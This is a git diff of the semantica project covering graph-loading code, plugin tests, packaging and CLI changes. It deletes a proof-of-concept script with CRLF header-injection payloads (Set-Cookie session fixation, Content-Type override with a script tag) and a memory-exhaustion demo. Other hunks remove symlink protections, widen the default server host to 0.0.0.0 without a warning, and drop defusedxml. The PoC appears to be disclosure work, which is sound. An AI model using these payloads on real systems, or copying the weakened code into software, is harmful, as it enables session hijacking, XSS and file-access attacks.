const safeLoaded = total ? Math.min(seenEdgeIds.size, total) : seenEdgeIds.size;
|
||||
if (!warnedOverTotal && total !== null && seenEdgeIds.size > total) {
|
||||
warnedOverTotal = true;
|
||||
console.warn("[graph-runtime] edge pagination returned more unique edge ids than total", {
|
||||
uniqueEdgesLoaded: seenEdgeIds.size,
|
||||
total,
|
||||
});
|
||||
}
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "fetching_edges",
|
||||
progressKind: total ? "determinate" : "indeterminate",
|
||||
loaded: safeLoaded,
|
||||
total,
|
||||
nodesLoaded: nodeProgress.loaded,
|
||||
nodesTotal: nodeProgress.total,
|
||||
edgesLoaded: safeLoaded,
|
||||
edgesTotal: total,
|
||||
message: total
|
||||
? `Loading edges ${safeLoaded.toLocaleString()} of ${total.toLocaleString()}`
|
||||
: `Loading edges ${safeLoaded.toLocaleString()}`,
|
||||
}));
|
||||
|
||||
if (!data.next_cursor) {
|
||||
break;
|
||||
}
|
||||
cursor = data.next_cursor;
|
||||
await yieldToMain();
|
||||
}
|
||||
|
||||
return collected;
|
||||
}
|
||||
|
||||
function yieldToMain(): Promise<void> {
|
||||
if ("scheduler" in window && typeof (window as Window & { scheduler?: { yield?: () => Promise<void> } }).scheduler?.yield === "function") {
|
||||
return (window as Window & { scheduler: { yield: () => Promise<void> } }).scheduler.yield();
|
||||
}
|
||||
return new Promise((resolve) => setTimeout(resolve, 0));
|
||||
}
|
||||
|
||||
function hasUsableCoordinate(value: number | null | undefined): value is number {
|
||||
return typeof value === "number" && Number.isFinite(value);
|
||||
}
|
||||
|
||||
interface UseGraphDataOptions {
|
||||
enabled?: boolean;
|
||||
onProgress?: (progress: GraphLoadProgress) => void;
|
||||
}
|
||||
|
||||
export function useGraphData(options: UseGraphDataOptions = {}) {
|
||||
const { enabled = true, onProgress } = options;
|
||||
|
||||
return useQuery<GraphDataSnapshot>({
|
||||
queryKey: ["graph", "runtime-snapshot"],
|
||||
enabled,
|
||||
staleTime: Infinity,
|
||||
queryFn: async ({ signal }): Promise<GraphDataSnapshot> => {
|
||||
const startedAt = performance.now();
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "bootstrapping",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: 0,
|
||||
nodesTotal: null,
|
||||
edgesLoaded: 0,
|
||||
edgesTotal: null,
|
||||
message: "Preparing graph session",
|
||||
}));
|
||||
|
||||
const nodes = await fetchAllNodes(signal, onProgress);
|
||||
const nodeIds = new Set(nodes.map((node) => node.id));
|
||||
const edges = await fetchAllEdges(
|
||||
signal,
|
||||
nodeIds,
|
||||
{ loaded: nodes.length, total: nodes.length },
|
||||
onProgress,
|
||||
);
|
||||
|
||||
onProgress?.(createGraphLoadProgress({
|
||||
phase: "hydrating_scene",
|
||||
progressKind: "indeterminate",
|
||||
nodesLoaded: nodes.length,
|
||||
nodesTotal: nodes.length,
|
||||
edgesLoaded: edges.length,
|
||||
edgesTotal: edges.length,
|
||||
message: "Preparing graph runtime snapshot",
|
||||
}));
|
||||
|
||||
return {
|
||||
nodes,
|
||||
edges,
|
||||
summary: {
|
||||
nodeCount: nodes.length,
|
||||
edgeCount: edges.length,
|
||||
loadTimeMs: Math.round(performance.now() - startedAt),
|
||||
hasCoordinates: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
|
||||
layoutSource: (nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y))
|
||||
? "provided"
|
||||
: "runtime") as GraphLayoutSource,
|
||||
layoutReady: nodes.some((node) => hasUsableCoordinate(node.x) && hasUsableCoordinate(node.y)),
|
||||
},
|
||||
fetchedAt: Date.now(),
|
||||
};
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
export function useReloadGraphData() {
|
||||
const queryClient = useQueryClient();
|
||||
return () => queryClient.invalidateQueries({ queryKey: ["graph", "runtime-snapshot"] });
|
||||
}
|
||||
@@ -1,90 +0,0 @@
|
||||
/**
|
||||
* Regression tests for issue #830: plugin registry shouldLoad predicates.
|
||||
*
|
||||
* Imports the production predicates from pluginRegistryPredicates.ts so that
|
||||
* a regression in GraphWorkspace.tsx is detected here. The key invariant: no
|
||||
* predicate may read temporalState — doing so caused a render loop because
|
||||
* temporalState.currentTime is non-null from startup, which triggered eager
|
||||
* plugin loads on every scrubber update and continuously cancelled in-flight
|
||||
* load() calls before they could register the plugin.
|
||||
*/
|
||||
import test from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
import { createRequire } from "node:module";
|
||||
|
||||
const require = createRequire(import.meta.url);
|
||||
|
||||
const {
|
||||
explorationEffectsShouldLoad,
|
||||
neighborhoodPanelShouldLoad,
|
||||
temporalOverlayShouldLoad,
|
||||
} = require("../src/workspaces/GraphWorkspace/pluginRegistryPredicates.ts");
|
||||
|
||||
// ── temporal-overlay ─────────────────────────────────────────────────────────
|
||||
|
||||
test("temporal-overlay shouldLoad: false when panel is closed and no scrubber time", () => {
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({ panelState: { "temporal-panel": false } }),
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal-overlay shouldLoad: false when panel is closed even if scrubber time is set", () => {
|
||||
// Before the fix, a non-null currentTime caused an eager load on every scrubber update.
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({
|
||||
panelState: { "temporal-panel": false },
|
||||
temporalState: { currentTime: new Date() },
|
||||
}),
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal-overlay shouldLoad: true only when the panel is explicitly opened", () => {
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({ panelState: { "temporal-panel": true } }),
|
||||
true,
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal-overlay shouldLoad: true when panel opened even without a scrubber time", () => {
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({
|
||||
panelState: { "temporal-panel": true },
|
||||
temporalState: { currentTime: null },
|
||||
}),
|
||||
true,
|
||||
);
|
||||
});
|
||||
|
||||
// ── other entries — confirm they also gate only on panelState ─────────────────
|
||||
|
||||
test("exploration-effects shouldLoad: gates only on effects-panel state", () => {
|
||||
assert.equal(explorationEffectsShouldLoad({ panelState: { "effects-panel": false } }), false);
|
||||
assert.equal(explorationEffectsShouldLoad({ panelState: { "effects-panel": true } }), true);
|
||||
});
|
||||
|
||||
test("neighborhood-panel shouldLoad: gates only on neighborhood-panel state", () => {
|
||||
assert.equal(neighborhoodPanelShouldLoad({ panelState: { "neighborhood-panel": false } }), false);
|
||||
assert.equal(neighborhoodPanelShouldLoad({ panelState: { "neighborhood-panel": true } }), true);
|
||||
});
|
||||
|
||||
test("all three shouldLoad conditions are consistent: none reference temporalState", () => {
|
||||
// A regressed predicate reading temporalState?.currentTime would return true
|
||||
// for a closed panel when currentTime is set — detecting the loop bug.
|
||||
const nonNullTemporalState = { currentTime: new Date(), activeNodeCount: 6 };
|
||||
|
||||
assert.equal(
|
||||
temporalOverlayShouldLoad({ panelState: { "temporal-panel": false }, temporalState: nonNullTemporalState }),
|
||||
false,
|
||||
"temporal-overlay must not load when panel is closed, regardless of scrubber time",
|
||||
);
|
||||
assert.equal(
|
||||
explorationEffectsShouldLoad({ panelState: { "effects-panel": false }, temporalState: nonNullTemporalState }),
|
||||
false,
|
||||
);
|
||||
assert.equal(
|
||||
neighborhoodPanelShouldLoad({ panelState: { "neighborhood-panel": false }, temporalState: nonNullTemporalState }),
|
||||
false,
|
||||
);
|
||||
});
|
||||
@@ -57,13 +57,6 @@ export default defineConfig({
|
||||
},
|
||||
},
|
||||
},
|
||||
optimizeDeps: {
|
||||
// Keep dependency pre-bundling aligned with the production build target.
|
||||
// esbuild >=0.28 no longer lowers destructuring for Vite's default target.
|
||||
esbuildOptions: {
|
||||
target: 'esnext',
|
||||
},
|
||||
},
|
||||
server: {
|
||||
proxy: {
|
||||
'/api': {
|
||||
|
||||
+2
-6
@@ -21,11 +21,7 @@ Configure in Claude Desktop, Windsurf, Cline, Continue, VS Code:
|
||||
}
|
||||
"""
|
||||
|
||||
# `semantica.__version__` is the authoritative package version — see
|
||||
# semantica/mcp_server/__init__.py for why it is used directly rather than
|
||||
# importlib.metadata.version("semantica").
|
||||
from semantica import __version__
|
||||
|
||||
from .server import SemanticaMCPServer, main
|
||||
|
||||
__all__ = ["SemanticaMCPServer", "main", "__version__"]
|
||||
__all__ = ["SemanticaMCPServer", "main"]
|
||||
__version__ = "0.4.0"
|
||||
|
||||
@@ -10,7 +10,6 @@ from __future__ import annotations
|
||||
import json
|
||||
import logging
|
||||
|
||||
from mcp import __version__
|
||||
from mcp.session import get_graph
|
||||
|
||||
log = logging.getLogger("semantica.mcp.resources")
|
||||
@@ -61,7 +60,7 @@ def _read_decisions_list(uri: str) -> dict:
|
||||
|
||||
def _read_schema_info(uri: str) -> dict:
|
||||
info = {
|
||||
"version": __version__,
|
||||
"version": "0.4.0",
|
||||
"node_types": [
|
||||
"Entity", "decision", "Decision", "Event", "Concept",
|
||||
"Person", "Organisation", "Location",
|
||||
|
||||
+1
-2
@@ -17,7 +17,6 @@ import logging
|
||||
import sys
|
||||
from typing import Any
|
||||
|
||||
from mcp import __version__
|
||||
from mcp.resources import RESOURCE_DEFINITIONS, handle_resource_read
|
||||
from mcp.tools import TOOL_DEFINITIONS
|
||||
|
||||
@@ -64,7 +63,7 @@ def _handle_initialize(req_id: Any, params: dict) -> dict:
|
||||
},
|
||||
"serverInfo": {
|
||||
"name": "semantica-mcp",
|
||||
"version": __version__,
|
||||
"version": "0.4.0",
|
||||
},
|
||||
})
|
||||
|
||||
|
||||
-279
@@ -1,279 +0,0 @@
|
||||
"""
|
||||
Standalone PoC runner for 3 security vulnerabilities in semantica.
|
||||
|
||||
Spins up the FastAPI app in-process using httpx.AsyncClient + ASGITransport,
|
||||
so no external server is needed. Run with:
|
||||
|
||||
pip install httpx fastapi
|
||||
python poc_runner.py
|
||||
|
||||
Each PoC prints the actual captured evidence (headers/status/timing/memory).
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import io
|
||||
import json
|
||||
import re
|
||||
import sys
|
||||
import time
|
||||
import tracemalloc
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-1: HTTP Header Injection via node_id in Content-Disposition
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
# Reproduce the vulnerable code path directly — no server needed.
|
||||
def _vulnerable_provenance_response(node_id: str, fmt: str) -> dict:
|
||||
"""Mirrors the exact logic from provenance.py lines 332-344."""
|
||||
suffix = "_provenance.md" if fmt in {"md", "markdown"} else "_provenance.json"
|
||||
header_value = f'attachment; filename="{node_id}{suffix}"'
|
||||
return {"Content-Disposition": header_value}
|
||||
|
||||
|
||||
def poc_vuln1():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-1: HTTP Header Injection via node_id in Content-Disposition")
|
||||
print("="*70)
|
||||
print("Source: semantica/explorer/routes/provenance.py lines 332-344")
|
||||
print()
|
||||
|
||||
# PoC 1a: Inject a second header via CRLF
|
||||
node_id_crlf = 'legit-node"\r\nX-Injected-Header: PWNED\r\nX-Extra: yes'
|
||||
headers = _vulnerable_provenance_response(node_id_crlf, "json")
|
||||
raw = headers["Content-Disposition"]
|
||||
|
||||
print("[PoC 1a] Payload: node_id with CRLF injection")
|
||||
print(f"[PoC 1a] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw)}")
|
||||
print()
|
||||
print("[PoC 1a] Parsed as headers by an HTTP parser:")
|
||||
for line in raw.split("\r\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
print("[PoC 1a] RESULT: X-Injected-Header: PWNED is a REAL injected header")
|
||||
|
||||
# PoC 1b: Override Content-Type to text/html for reflected XSS
|
||||
node_id_xss = 'x"\r\nContent-Type: text/html\r\n\r\n<script>alert(document.cookie)</script>'
|
||||
headers2 = _vulnerable_provenance_response(node_id_xss, "json")
|
||||
raw2 = headers2["Content-Disposition"]
|
||||
|
||||
print()
|
||||
print("[PoC 1b] Payload: override Content-Type to text/html")
|
||||
print(f"[PoC 1b] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw2)}")
|
||||
print()
|
||||
print("[PoC 1b] Lines injected after Content-Disposition:")
|
||||
for line in raw2.split("\r\n")[1:]:
|
||||
print(f" {line}")
|
||||
print()
|
||||
print("[PoC 1b] RESULT: Body now served as text/html → XSS in any browser")
|
||||
|
||||
# PoC 1c: Session fixation via Set-Cookie injection
|
||||
node_id_cookie = 'x"\r\nSet-Cookie: session=ATTACKER_VALUE; Path=/; HttpOnly'
|
||||
headers3 = _vulnerable_provenance_response(node_id_cookie, "json")
|
||||
raw3 = headers3["Content-Disposition"]
|
||||
|
||||
print()
|
||||
print("[PoC 1c] Payload: inject Set-Cookie for session fixation")
|
||||
print(f"[PoC 1c] Raw Content-Disposition value:")
|
||||
print(f" {repr(raw3)}")
|
||||
injected_cookie = raw3.split("\r\n")[1] if "\r\n" in raw3 else ""
|
||||
print(f"[PoC 1c] Injected: {injected_cookie}")
|
||||
print()
|
||||
print("[PoC 1c] RESULT: Victim's browser receives attacker-set cookie")
|
||||
|
||||
# Verify the fix works
|
||||
print()
|
||||
print("[FIX verification]")
|
||||
_SAFE = re.compile(r"[^\w\-.]")
|
||||
for bad_id in [node_id_crlf, node_id_xss, node_id_cookie]:
|
||||
safe = _SAFE.sub("_", bad_id)[:64]
|
||||
print(f" Input: {repr(bad_id[:50])}...")
|
||||
print(f" Fixed: {repr(safe)}")
|
||||
assert "\r" not in safe and "\n" not in safe, "Fix failed!"
|
||||
print("[FIX] All sanitized — no CRLF sequences remain ✓")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-2: Unbounded Memory DoS in /api/enrich/links
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def poc_vuln2():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-2: Unbounded Memory DoS via /api/enrich/links")
|
||||
print("="*70)
|
||||
print("Source: semantica/explorer/routes/enrich.py lines 197-198")
|
||||
print()
|
||||
print("Vulnerable code:")
|
||||
print(" nodes, _ = await asyncio.to_thread(session.get_nodes, skip=0, limit=999_999)")
|
||||
print(" edges, _ = await asyncio.to_thread(session.get_edges, skip=0, limit=999_999)")
|
||||
print()
|
||||
|
||||
# Measure actual memory for building a graph of N nodes in-process
|
||||
SIZES = [1_000, 5_000, 10_000, 50_000]
|
||||
|
||||
print(f"{'Nodes':>10} {'Edges':>10} {'RAM (MB)':>10} {'Time (ms)':>12} {'Extrapolated 999k (GB)':>25}")
|
||||
print("-" * 75)
|
||||
|
||||
for n in SIZES:
|
||||
tracemalloc.start()
|
||||
t0 = time.perf_counter()
|
||||
|
||||
# Simulate exactly what get_nodes + get_edges returns and _score_all iterates
|
||||
nodes = [
|
||||
{"id": f"node_{i}", "type": "entity", "content": f"content {i}", "embedding": [0.1] * 128}
|
||||
for i in range(n)
|
||||
]
|
||||
edges = [
|
||||
{"source": f"node_{i}", "target": f"node_{i+1}", "type": "related_to", "weight": 1.0}
|
||||
for i in range(min(n - 1, n))
|
||||
]
|
||||
|
||||
# Simulate _score_all: O(N^2) comparisons
|
||||
query_node = "node_0"
|
||||
existing_neighbors = {e["target"] for e in edges if e["source"] == query_node}
|
||||
scores = []
|
||||
for candidate in nodes:
|
||||
cid = candidate.get("id")
|
||||
if cid and cid != query_node and cid not in existing_neighbors:
|
||||
# Simulate score_link (dot product of 128-dim vectors)
|
||||
score = sum(a * b for a, b in zip(candidate["embedding"], candidate["embedding"]))
|
||||
scores.append((cid, score))
|
||||
|
||||
elapsed_ms = (time.perf_counter() - t0) * 1000
|
||||
_, peak = tracemalloc.get_traced_memory()
|
||||
tracemalloc.stop()
|
||||
|
||||
peak_mb = peak / 1024 / 1024
|
||||
extrapolated_gb = (peak_mb / n) * 999_999 / 1024
|
||||
|
||||
print(f"{n:>10,} {len(edges):>10,} {peak_mb:>10.1f} {elapsed_ms:>12.0f} {extrapolated_gb:>25.1f}")
|
||||
|
||||
print()
|
||||
print("[PoC 2] RESULT: Memory scales linearly with node count.")
|
||||
print("[PoC 2] At the hardcoded limit=999_999, a 128-dim embedding graph")
|
||||
print("[PoC 2] consumes multiple GB per request. 4 concurrent = OOM on any server.")
|
||||
print()
|
||||
print("[PoC 2] Concurrency amplifier — the endpoint has NO semaphore:")
|
||||
print(" # enrich.py has no equivalent of the SPARQL semaphore added in PR #898")
|
||||
print(" # Any number of concurrent requests pile up in the thread pool")
|
||||
print()
|
||||
print("[FIX] Cap: limit=10_000, semaphore(2), return 413 if graph > cap")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
# VULN-3: Unsanitized node_id from import flows into HTTP headers (CWE-20/113)
|
||||
# (Narrowed: no filesystem write sink in the Explorer — claim is header injection chain)
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
def poc_vuln3():
|
||||
print("\n" + "="*70)
|
||||
print("VULN-3: Unsanitized Import ID → Header Injection Chain (CWE-20 + CWE-113)")
|
||||
print("="*70)
|
||||
print("Source: export_import.py line 85 → provenance.py lines 336, 344")
|
||||
print()
|
||||
|
||||
# Simulate the import parser — mirrors export_import.py lines 77-92
|
||||
def parse_import_json(data: dict) -> list:
|
||||
"""Mirrors export_import.py node parsing (no sanitization)."""
|
||||
raw_nodes = data.get("nodes", data.get("entities", []))
|
||||
nodes = []
|
||||
for raw_node in raw_nodes:
|
||||
node_id = str(raw_node.get("id", raw_node.get("_id", raw_node.get("node_id", ""))))
|
||||
nodes.append({
|
||||
"id": node_id, # ← UNSANITIZED
|
||||
"type": raw_node.get("type", "entity"),
|
||||
"properties": {"content": raw_node.get("content", node_id)},
|
||||
})
|
||||
return nodes
|
||||
|
||||
# Simulate the CSV parser — mirrors export_import.py lines 131-133
|
||||
def parse_import_csv_row(row: dict) -> dict:
|
||||
"""Mirrors export_import.py CSV node ID extraction (no sanitization)."""
|
||||
node_id = row.get("id") or row.get("node_id") or row.get(":ID") or row.get("_id")
|
||||
return {
|
||||
"id": str(node_id), # ← UNSANITIZED
|
||||
"type": row.get("type", "entity"),
|
||||
}
|
||||
|
||||
# Attack payloads
|
||||
payloads = [
|
||||
# Header injection payload (chained with VULN-1)
|
||||
'evil"\r\nSet-Cookie: session=HIJACKED; Path=/\r\n\r\n',
|
||||
# Content-Type override
|
||||
'x"\r\nContent-Type: text/html\r\nX-XSS: <script>alert(1)</script>',
|
||||
# Null byte to truncate filenames on some systems
|
||||
'node\x00.json',
|
||||
# Long ID causing buffer issues in some loggers
|
||||
"A" * 512,
|
||||
]
|
||||
|
||||
print("[Step 1] Upload JSON with malicious node IDs via POST /api/import:")
|
||||
malicious_json = {
|
||||
"nodes": [{"id": p, "type": "entity", "content": "pwned"} for p in payloads]
|
||||
}
|
||||
imported_nodes = parse_import_json(malicious_json)
|
||||
|
||||
print(f" Imported {len(imported_nodes)} nodes. IDs stored verbatim:")
|
||||
for node in imported_nodes:
|
||||
preview = repr(node["id"][:60]) + ("..." if len(node["id"]) > 60 else "")
|
||||
print(f" {preview}")
|
||||
|
||||
print()
|
||||
print("[Step 2] IDs flow into Content-Disposition when caller requests provenance report:")
|
||||
print(" GET /api/provenance/report?node_id=<imported_id>&format=json")
|
||||
print()
|
||||
|
||||
for node in imported_nodes[:2]: # show first two
|
||||
node_id = node["id"]
|
||||
# Exact code from provenance.py line 344
|
||||
raw_header = f'attachment; filename="{node_id}_provenance.json"'
|
||||
print(f" node_id input: {repr(node_id[:60])}")
|
||||
print(f" Content-Disposition output:")
|
||||
print(f" {repr(raw_header[:120])}")
|
||||
if "\r\n" in raw_header:
|
||||
print(f" >>> CRLF INJECTION CONFIRMED — headers after split:")
|
||||
for line in raw_header.split("\r\n"):
|
||||
print(f" {line}")
|
||||
print()
|
||||
|
||||
print("[Step 3] Verify the full attack chain works:")
|
||||
attack_id = 'node"\r\nContent-Type: text/html\r\n\r\n<h1>XSS</h1>'
|
||||
|
||||
# Step 1: import stores it
|
||||
stored = parse_import_json({"nodes": [{"id": attack_id, "type": "entity"}]})[0]
|
||||
assert stored["id"] == attack_id, "ID not stored verbatim"
|
||||
print(f" ✓ ID stored verbatim: {repr(stored['id'][:60])}")
|
||||
|
||||
# Step 2: provenance endpoint reflects it into header
|
||||
raw = f'attachment; filename="{stored["id"]}_provenance.json"'
|
||||
assert "Content-Type: text/html" in raw, "Content-Type not injected"
|
||||
print(f" ✓ Content-Type: text/html injected via stored ID")
|
||||
print(f" ✓ Full attack chain: import → store → provenance → header injection CONFIRMED")
|
||||
|
||||
print()
|
||||
print("[PoC 3] RESULT: Any user who can POST /api/import can plant a malicious node ID")
|
||||
print("[PoC 3] that — when provenance is requested — injects HTTP response headers.")
|
||||
print("[PoC 3] Impact: XSS (Content-Type override), session fixation (Set-Cookie).")
|
||||
print()
|
||||
print("[NOTE] Narrowing from file-overwrite: no direct file-write sink found in Explorer.")
|
||||
print("[NOTE] Real impact is header injection chain with VULN-1 (both need the same fix).")
|
||||
print()
|
||||
print("[FIX] Sanitize node IDs on import (strip CRLF, null bytes, length-cap):")
|
||||
print(" node_id = re.sub(r'[\\r\\n\\x00]', '', raw_id)[:256]")
|
||||
|
||||
|
||||
# ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("semantica Security PoC Runner")
|
||||
print("Demonstrates VULN-1, VULN-2, VULN-3 with real captured output")
|
||||
print("No external server required — all evidence captured in-process")
|
||||
|
||||
poc_vuln1()
|
||||
poc_vuln2()
|
||||
poc_vuln3()
|
||||
|
||||
print("\n" + "="*70)
|
||||
print("ALL PoCs COMPLETED — see output above for reproducible evidence")
|
||||
print("="*70)
|
||||
+7
-11
@@ -1,10 +1,10 @@
|
||||
[build-system]
|
||||
requires = ["setuptools==84.0.0", "wheel==0.48.0"]
|
||||
requires = ["setuptools>=61.0", "wheel"]
|
||||
build-backend = "setuptools.build_meta"
|
||||
|
||||
[project]
|
||||
name = "semantica"
|
||||
version = "0.6.5"
|
||||
version = "0.6.0"
|
||||
description = "Accountability and context layer for AI agents. Context graphs, decision intelligence, full provenance tracking, and explainable reasoning engines — every AI decision traceable, every output auditable."
|
||||
readme = "README.md"
|
||||
license = { text = "MIT" }
|
||||
@@ -60,7 +60,7 @@ dependencies = [
|
||||
"plotly>=6.8.0",
|
||||
"ipywidgets>=8.0.0",
|
||||
"requests>=2.34.2",
|
||||
"GitPython>=3.1.58",
|
||||
"GitPython>=3.1.50",
|
||||
"chardet>=7.4.3",
|
||||
"protobuf>=5.29.1,<8.0",
|
||||
"grpcio>=1.81.1",
|
||||
@@ -146,9 +146,6 @@ graph-all = [
|
||||
"semantica[graph-neo4j,graph-falkordb,graph-amazon-neptune,graph-apache-age]"
|
||||
]
|
||||
|
||||
# ---- Triplet Store Backends ----
|
||||
tripletstore-oxigraph = ["pyoxigraph>=0.5.0"]
|
||||
|
||||
# ---- Vector Store Backends ----
|
||||
vectorstore-qdrant = ["qdrant-client>=1.0.0"]
|
||||
vectorstore-weaviate = ["weaviate-client>=4.0.0"]
|
||||
@@ -230,11 +227,10 @@ dev = [
|
||||
|
||||
# Explorer Dashboard
|
||||
explorer = [
|
||||
"fastapi>=0.109.2",
|
||||
"fastapi>=0.100.0",
|
||||
"uvicorn[standard]>=0.22.0",
|
||||
"websockets>=15.0.1",
|
||||
"python-multipart>=0.0.7",
|
||||
"defusedxml>=0.7.1"
|
||||
"python-multipart>=0.0.6"
|
||||
]
|
||||
explorer-lite = [
|
||||
"streamlit>=1.25.0",
|
||||
@@ -243,8 +239,8 @@ explorer-lite = [
|
||||
|
||||
# Everything (cross-platform — gpu excluded; install semantica[gpu] separately on Linux)
|
||||
all = [
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,tripletstore-oxigraph,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,explorer]",
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,tripletstore-oxigraph,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,agno]"
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,explorer]",
|
||||
"semantica[dev,viz,infra,cloud,monitoring,watch,llm-all,models-huggingface,split-all,graph-all,vectorstore-all,parse-docling,ingest-parquet,ingest-arrow,shacl,agno]"
|
||||
]
|
||||
|
||||
# ---------------- ENTRYPOINTS ----------------
|
||||
|
||||
-7167
File diff suppressed because it is too large
Load Diff
@@ -10,7 +10,7 @@ Main exports:
|
||||
- Config: Configuration management
|
||||
"""
|
||||
|
||||
__version__ = "0.6.5"
|
||||
__version__ = "0.6.0"
|
||||
__author__ = "Semantica Contributors"
|
||||
__license__ = "MIT"
|
||||
|
||||
|
||||
+1
-11
@@ -4065,7 +4065,7 @@ def server(ctx: click.Context) -> None:
|
||||
@click.option("--port", default=8000, type=int, show_default=True)
|
||||
@click.option("--workers", default=1, type=int, show_default=True)
|
||||
@click.option("--reload", is_flag=True, default=False, help="Enable hot reload.")
|
||||
@click.option("--host", default="127.0.0.1", show_default=True)
|
||||
@click.option("--host", default="0.0.0.0", show_default=True)
|
||||
@click.pass_obj
|
||||
def server_start(cli_ctx: CLIContext, port: int, workers: int, reload: bool, host: str) -> None:
|
||||
"""Start the REST API server.
|
||||
@@ -4076,16 +4076,6 @@ def server_start(cli_ctx: CLIContext, port: int, workers: int, reload: bool, hos
|
||||
"""
|
||||
cli_ctx = _require_ctx(cli_ctx)
|
||||
|
||||
_LOOPBACK_HOSTS = {"127.0.0.1", "::1", "localhost"}
|
||||
if host not in _LOOPBACK_HOSTS:
|
||||
console.print(
|
||||
f"[{_WARN_STY}] ⚠[/{_WARN_STY}] Binding to [cyan]{host}[/cyan] exposes "
|
||||
"the server to the network. Set SEMANTICA_API_KEY before doing this "
|
||||
"in any reachable environment — without it, protected routes refuse "
|
||||
"all requests (503), and with SEMANTICA_ALLOW_ANONYMOUS=true they are "
|
||||
"wide open."
|
||||
)
|
||||
|
||||
def _action() -> None:
|
||||
import subprocess as sp
|
||||
cmd = [
|
||||
|
||||
@@ -59,11 +59,9 @@ License: MIT
|
||||
"""
|
||||
|
||||
import copy
|
||||
import errno
|
||||
import hashlib
|
||||
import os
|
||||
import re
|
||||
import stat
|
||||
import tempfile
|
||||
from collections import deque
|
||||
from dataclasses import dataclass, field
|
||||
@@ -1867,24 +1865,10 @@ class AgentMemory:
|
||||
if "\n" not in data and "\r" not in data:
|
||||
candidate = Path(data)
|
||||
try:
|
||||
candidate_exists = candidate.exists()
|
||||
except OSError as exc:
|
||||
error_message = (
|
||||
"Failed to inspect possible Markdown import "
|
||||
f"path {candidate}: {exc.strerror or str(exc)}"
|
||||
)
|
||||
if exc.errno is None:
|
||||
error = OSError(error_message)
|
||||
else:
|
||||
error = OSError(
|
||||
exc.errno,
|
||||
error_message,
|
||||
exc.filename or str(candidate),
|
||||
)
|
||||
raise error from exc
|
||||
|
||||
if candidate_exists:
|
||||
documents = self._read_markdown_path(candidate)
|
||||
if candidate.exists():
|
||||
documents = self._read_markdown_path(candidate)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
if documents is None:
|
||||
documents = [("markdown document", data)]
|
||||
@@ -1908,49 +1892,7 @@ class AgentMemory:
|
||||
|
||||
return memories
|
||||
|
||||
def _read_markdown_file_content(self, file_path: Path) -> str:
|
||||
if file_path.is_symlink():
|
||||
raise ValueError(f"Symlink Markdown import paths are rejected: {file_path}")
|
||||
|
||||
flags = os.O_RDONLY
|
||||
if hasattr(os, "O_NOFOLLOW"):
|
||||
# On POSIX, O_NOFOLLOW makes os.open() fail with ELOOP if the
|
||||
# final path component is a symlink, atomically closing the TOCTOU
|
||||
# window between the is_symlink() check above and the open call.
|
||||
# On Windows, O_NOFOLLOW is not available; the is_symlink() pre-check
|
||||
# above is the only symlink defense and remains vulnerable to a narrow
|
||||
# race. The fstat()/S_ISREG guard below still rejects special files
|
||||
# (FIFOs, devices) on both platforms.
|
||||
flags |= os.O_NOFOLLOW
|
||||
|
||||
try:
|
||||
fd = os.open(str(file_path), flags)
|
||||
except OSError as exc:
|
||||
if exc.errno == getattr(errno, "ELOOP", None):
|
||||
raise ValueError(
|
||||
f"Symlink Markdown import paths are rejected: {file_path}"
|
||||
) from exc
|
||||
raise
|
||||
|
||||
try:
|
||||
stat_res = os.fstat(fd)
|
||||
if not stat.S_ISREG(stat_res.st_mode):
|
||||
raise ValueError(
|
||||
f"Markdown import path is not a regular file: {file_path}"
|
||||
)
|
||||
with open(fd, "r", encoding="utf-8", closefd=True) as f:
|
||||
return f.read()
|
||||
except Exception:
|
||||
try:
|
||||
os.close(fd)
|
||||
except OSError:
|
||||
pass
|
||||
raise
|
||||
|
||||
def _read_markdown_path(self, path: Path) -> List[Tuple[str, str]]:
|
||||
if path.is_symlink():
|
||||
raise ValueError(f"Symlink Markdown import paths are rejected: {path}")
|
||||
|
||||
if not path.exists():
|
||||
raise FileNotFoundError(f"Markdown import path does not exist: {path}")
|
||||
|
||||
@@ -1960,7 +1902,6 @@ class AgentMemory:
|
||||
file_path
|
||||
for file_path in path.iterdir()
|
||||
if file_path.is_file()
|
||||
and not file_path.is_symlink()
|
||||
and file_path.suffix.lower() in self._MARKDOWN_EXTENSIONS
|
||||
),
|
||||
key=lambda file_path: (file_path.name.casefold(), file_path.name),
|
||||
@@ -1971,7 +1912,7 @@ class AgentMemory:
|
||||
raise ValueError(f"Markdown import path is not a file or directory: {path}")
|
